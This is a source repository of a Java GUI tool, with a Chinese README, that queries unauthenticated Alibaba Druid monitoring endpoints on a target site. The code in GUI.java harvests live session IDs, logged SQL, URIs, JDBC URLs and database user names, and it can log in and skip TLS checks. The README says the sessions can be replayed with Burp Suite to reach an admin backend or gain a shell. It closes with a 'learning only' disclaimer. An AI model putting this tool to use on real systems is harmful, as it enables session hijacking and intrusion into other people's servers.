├── .gitignore
├── .idea
├── .gitignore
├── artifacts
│ └── druid_sessions_jar.xml
├── encodings.xml
├── inspectionProfiles
│ └── Project_Default.xml
├── misc.xml
├── uiDesigner.xml
└── vcs.xml
├── README.md
├── gui.png
├── pom.xml
└── src
└── main
├── java
├── GUI.form
├── GUI.java
└── Main.java
└── resources
└── META-INF
└── MANIFEST.MF
/.gitignore:
--------------------------------------------------------------------------------
1 | target/
2 | !.mvn/wrapper/maven-wrapper.jar
3 | !**/src/main/**/target/
4 | !**/src/test/**/target/
5 |
6 | ### IntelliJ IDEA ###
7 | .idea/modules.xml
8 | .idea/jarRepositories.xml
9 | .idea/compiler.xml
10 | .idea/libraries/
11 | *.iws
12 | *.iml
13 | *.ipr
14 |
15 | ### Eclipse ###
16 | .apt_generated
17 | .classpath
18 | .factorypath
19 | .project
20 | .settings
21 | .springBeans
22 | .sts4-cache
23 |
24 | ### NetBeans ###
25 | /nbproject/private/
26 | /nbbuild/
27 | /dist/
28 | /nbdist/
29 | /.nb-gradle/
30 | build/
31 | !**/src/main/**/build/
32 | !**/src/test/**/build/
33 |
34 | ### VS Code ###
35 | .vscode/
36 |
37 | ### Mac OS ###
38 | .DS_Store
--------------------------------------------------------------------------------
/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # 默认忽略的文件
2 | /shelf/
3 | /workspace.xml
4 | # 基于编辑器的 HTTP 客户端请求
5 | /httpRequests/
6 | # Datasource local storage ignored files
7 | /dataSources/
8 | /dataSources.local.xml
9 |
--------------------------------------------------------------------------------
/.idea/artifacts/druid_sessions_jar.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | $PROJECT_DIR$/out/artifacts/druid_sessions_jar
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/.idea/encodings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/.idea/inspectionProfiles/Project_Default.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/.idea/uiDesigner.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | -
6 |
7 |
8 | -
9 |
10 |
11 | -
12 |
13 |
14 | -
15 |
16 |
17 | -
18 |
19 |
20 |
21 |
22 |
23 | -
24 |
25 |
26 |
27 |
28 |
29 | -
30 |
31 |
32 |
33 |
34 |
35 | -
36 |
37 |
38 |
39 |
40 |
41 | -
42 |
43 |
44 |
45 |
46 | -
47 |
48 |
49 |
50 |
51 | -
52 |
53 |
54 |
55 |
56 | -
57 |
58 |
59 |
60 |
61 | -
62 |
63 |
64 |
65 |
66 | -
67 |
68 |
69 |
70 |
71 | -
72 |
73 |
74 | -
75 |
76 |
77 |
78 |
79 | -
80 |
81 |
82 |
83 |
84 | -
85 |
86 |
87 |
88 |
89 | -
90 |
91 |
92 |
93 |
94 | -
95 |
96 |
97 |
98 |
99 | -
100 |
101 |
102 | -
103 |
104 |
105 | -
106 |
107 |
108 | -
109 |
110 |
111 | -
112 |
113 |
114 |
115 |
116 | -
117 |
118 |
119 | -
120 |
121 |
122 |
123 |
124 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ### 使用说明：
2 |
3 | 利用工具快速获取 Alibaba Druid 的相关参数（sessions, sql, uri, jdbc ），然后就可以利用Burpsuite进行遍历sessions验证是否可用，如果运气好就可以利用session进入后台或者getshell 啦。
4 |
5 |
6 |
7 | ### 利用实例
8 |
9 | cwkiller师傅的利用文章：https://www.cnblogs.com/cwkiller/p/12483223.html
10 |
11 | 从druid未授权到getshell：https://xz.aliyun.com/t/10110
12 |
13 | ### 工具说明：
14 |
15 | 使用了 swing , 应该支持所有 jdk 了
16 |
17 |
18 |
19 | 默认请求带有 /druid/* 相关路径
20 |
21 | 
22 |
23 |
24 | GUI 界面参考：https://github.com/f0ng/poc2jar
25 |
26 | ----
27 |
28 | #### 仅供学习交流，切勿用于非法用途，否则一切后果自负！
29 |
--------------------------------------------------------------------------------
/gui.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yuyan-sec/druid_sessions/fdfceaf5bd8e79b9681303743c0e2e294af962f8/gui.png
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | org.example
8 | druid_sessions
9 | 1.0-SNAPSHOT
10 |
11 |
12 | 8
13 | 8
14 | UTF-8
15 |
16 |
17 |
18 |
19 |
20 | me.gv7.woodpecker
21 | woodpecker-requests
22 | 0.2.1
23 |
24 |
25 |
26 |
27 | com.alibaba.fastjson2
28 | fastjson2
29 | 2.0.57
30 |
31 |
32 |
33 |
34 | com.formdev
35 | flatlaf
36 | 3.5.4
37 |
38 |
39 |
40 |
--------------------------------------------------------------------------------
/src/main/java/GUI.form:
--------------------------------------------------------------------------------
1 |
2 |
215 |
--------------------------------------------------------------------------------
/src/main/java/GUI.java:
--------------------------------------------------------------------------------
1 | import com.alibaba.fastjson2.JSON;
2 | import com.alibaba.fastjson2.JSONArray;
3 | import com.alibaba.fastjson2.JSONException;
4 | import com.alibaba.fastjson2.JSONObject;
5 | import me.gv7.woodpecker.requests.Proxies;
6 | import me.gv7.woodpecker.requests.RawResponse;
7 | import me.gv7.woodpecker.requests.Requests;
8 |
9 | import javax.swing.*;
10 | import java.awt.event.ActionEvent;
11 | import java.awt.event.ActionListener;
12 | import java.net.Proxy;
13 | import java.util.HashMap;
14 | import java.util.Map;
15 | import java.util.regex.Matcher;
16 | import java.util.regex.Pattern;
17 |
18 | public class GUI {
19 | public JPanel rootJPanel;
20 | private JTextField textURL;
21 | private JTextField textUserName;
22 | private JTextField textPassWord;
23 | private JButton runButton;
24 | private JTextArea textHeader;
25 | private JTextField textProxy;
26 | private JTextArea textJDBC;
27 | private JTextArea textSessions;
28 | private JTextArea textSqls;
29 | private JTextArea textUrls;
30 | private JLabel logs;
31 |
32 | public GUI() {
33 | runButton.addActionListener(new ActionListener() {
34 | @Override
35 | public void actionPerformed(ActionEvent e) {
36 | clearText();
37 | logs.setText("");
38 | String url = textURL.getText().replaceFirst("/$", "");
39 |
40 | if (!textUserName.getText().isEmpty() && !textPassWord.getText().isEmpty()){
41 | String cookie = Login(url);
42 | if (!cookie.isEmpty()) {
43 | getResult(url, cookie);
44 | }
45 | logs.setText("程序执行完成...");
46 | return;
47 | }
48 |
49 | int code = httpGet(url + "/druid/index.html", "").statusCode();
50 | if (code == 200) {
51 | getResult(url, "");
52 | } else if (code == 302){
53 | clearText();
54 | showError("靓仔、Druid 需要登录哦~");
55 | } else {
56 | clearText();
57 | showError("访问失败: "+code+" ，请检查URL是否正确");
58 | }
59 |
60 | logs.setText("程序执行完成...");
61 | }
62 | });
63 | }
64 |
65 | private void getResult(String url, String cookie) {
66 | String webSession = url + "/druid/websession.json";
67 | String webSql = url + "/druid/sql.json";
68 | String webUri = url + "/druid/weburi.json";
69 | String webDb = url + "/druid/datasource.json";
70 | String basic = url + "/druid/basic.json";
71 |
72 | this.textSessions.setText(getDruidJson(httpGet(webSession, cookie).readToText(), "SESSIONID"));
73 |
74 | this.textSqls.setText(getDruidJson(httpGet(webSql, cookie).readToText(), "SQL"));
75 |
76 | this.textUrls.setText(getDruidJson(httpGet(webUri, cookie).readToText(), "URI"));
77 |
78 | String webDbRes = httpGet(webDb, cookie).readToText();
79 | String basicRes = httpGet(basic, cookie).readToText();
80 |
81 | Map info = new HashMap<>();
82 | info.put("userName", getDruidJson(webDbRes, "UserName"));
83 | info.put("jdbcUrl", getDruidJson(webDbRes, "URL"));
84 | info.put("javaClassPath", getDruidJson(basicRes, "JavaClassPath"));
85 | info.put("javaVMName", getDruidJson(basicRes, "JavaVMName"));
86 | info.put("javaVersion", getDruidJson(basicRes, "JavaVersion"));
87 |
88 |
89 | for (Map.Entry entry : info.entrySet()) {
90 | String key = entry.getKey();
91 | String value = entry.getValue();
92 |
93 | // 输出字段名和值
94 | if (!value.isEmpty()) { // 只有值不为空时才输出
95 | this.textJDBC.append(key + ": " + value);
96 | }
97 | }
98 |
99 | }
100 |
101 | private String getDruidJson(String body, String fieldName) {
102 | StringBuilder result = new StringBuilder();
103 | try {
104 | JSONObject root = JSON.parseObject(body);
105 | JSONArray contentArray = root.getJSONArray("Content");
106 |
107 | if (contentArray == null || contentArray.isEmpty()) {
108 | return "";
109 | }
110 |
111 | for (int i = 0; i < contentArray.size(); i++) {
112 | JSONObject item = contentArray.getJSONObject(i);
113 | if (item.containsKey(fieldName)) {
114 | String value = item.getString(fieldName);
115 | if (value != null) {
116 | // 统一清理特殊字符
117 | value = value.replace("\n", " ").replace("\t", " ").replace("\\n", "");
118 | result.append(value).append("\n");
119 | }
120 | }
121 | }
122 |
123 | } catch (JSONException e) {
124 | e.printStackTrace();
125 | return "";
126 | } catch (Exception e) {
127 | e.printStackTrace();
128 | return "";
129 | }
130 |
131 | return result.toString();
132 | }
133 |
134 | private RawResponse httpGet(String url, String cookie) {
135 | Map headers = parseHeaders();
136 | if (!cookie.isEmpty()){
137 | headers.put("Cookie",cookie);
138 | }
139 |
140 | Proxy proxy = convertToProxy();
141 |
142 | RawResponse resp = Requests.get(url).headers(headers).proxy(proxy).verify(false).timeout(10000).send();
143 | return resp;
144 | }
145 |
146 | private String Login(String url) {
147 | Map params = new HashMap<>();
148 | params.put("loginUsername", textUserName.getText());
149 | params.put("loginPassword", textPassWord.getText());
150 |
151 | Proxy proxy = convertToProxy();
152 | Map headers = parseHeaders();
153 |
154 | RawResponse resp = Requests.post(url + "/druid/submitLogin").body(params).headers(headers).proxy(proxy).verify(false).send();
155 | if (resp.getHeader("Set-Cookie") == null) {
156 | clearText();
157 | showError(resp.readToText());
158 | return "";
159 | }
160 | return resp.getHeader("Set-Cookie");
161 | }
162 |
163 | private Map parseHeaders() {
164 | String input = textHeader.getText();
165 | Map headers = new HashMap<>();
166 | String[] lines = input.split("\\r?\\n");
167 |
168 | for (String line : lines) {
169 | if (line.trim().isEmpty()) continue;
170 | String[] parts = line.split(":", 2);
171 | if (parts.length == 2) {
172 | String key = parts[0].trim();
173 | String value = parts[1].trim();
174 | headers.put(key, value);
175 | }
176 | }
177 |
178 | return headers;
179 | }
180 |
181 | private Proxy convertToProxy() {
182 | String input = textProxy.getText().trim();
183 |
184 | if (input.isEmpty()){
185 | return Proxy.NO_PROXY;
186 | }
187 |
188 | // 支持 http://127.0.0.1:8080/ 或 127.0.0.1:8080
189 | Pattern pattern = Pattern.compile("(?:(?:http|https)://)?([\\w.]+):(\\d+)");
190 | Matcher matcher = pattern.matcher(input);
191 |
192 | if (matcher.find()) {
193 | String host = matcher.group(1);
194 | String port = matcher.group(2);
195 | return Proxies.httpProxy(host, Integer.parseInt(port));
196 | } else {
197 | showError("无法识别代理地址格式");
198 | return Proxy.NO_PROXY;
199 | }
200 | }
201 |
202 |
203 | private void clearText() {
204 | textJDBC.setText("");
205 | textSqls.setText("");
206 | textUrls.setText("");
207 | textSessions.setText("");
208 | }
209 |
210 | private void showError(String error) {
211 | JOptionPane.showMessageDialog(null, error, "", 0);
212 | }
213 | }
214 |
--------------------------------------------------------------------------------
/src/main/java/Main.java:
--------------------------------------------------------------------------------
1 | import javax.swing.*;
2 | import com.formdev.flatlaf.FlatLightLaf;
3 | public class Main {
4 | public static void main(String[] args) {
5 | FlatLightLaf.setup();
6 | JFrame frame = new JFrame("Alibaba Druid");
7 | frame.setContentPane(new GUI().rootJPanel);
8 | frame.setSize(1200, 800);
9 | frame.setResizable(false);
10 | frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
11 | frame.setVisible(true);
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/src/main/resources/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Main-Class: Main
3 |
4 |
--------------------------------------------------------------------------------